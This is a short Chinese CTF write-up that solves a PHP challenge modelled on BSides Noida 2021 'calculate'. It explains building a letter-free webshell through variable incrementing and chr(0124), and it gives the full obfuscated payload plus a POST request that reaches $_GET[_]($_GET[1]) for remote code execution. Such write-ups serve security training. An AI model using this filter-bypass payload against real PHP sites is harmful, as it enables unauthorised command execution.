复读机
这题我是抄的 BSides Noida CTF 2021 - calculate。
无字母 webshell 是 PHP 经常玩的东西了。
简而言之:通过自增来构造 payload,但还是超长。
注意到数字只过滤了 3|5|6|9
,可以先构造 CHR
然后利用 chr(0124)
构造出字母 T
。最后实现 $_GET[_]($_GET[1])
,成功 RCE。
题目有多解,以下 payload 仅供参考:
POST /amaz1ng_sHell.php?_=exec&1=ls
payload=$C=C[0],++$C,$C2=++$C,++$C,$C1=++$C,$_=(C.++$C.$C=(C.[0])[2]),$C=${_.$C1.$C2.$_(0124)},$C[_]($C[1])
注意 payload 要 urlencode 一下再提交。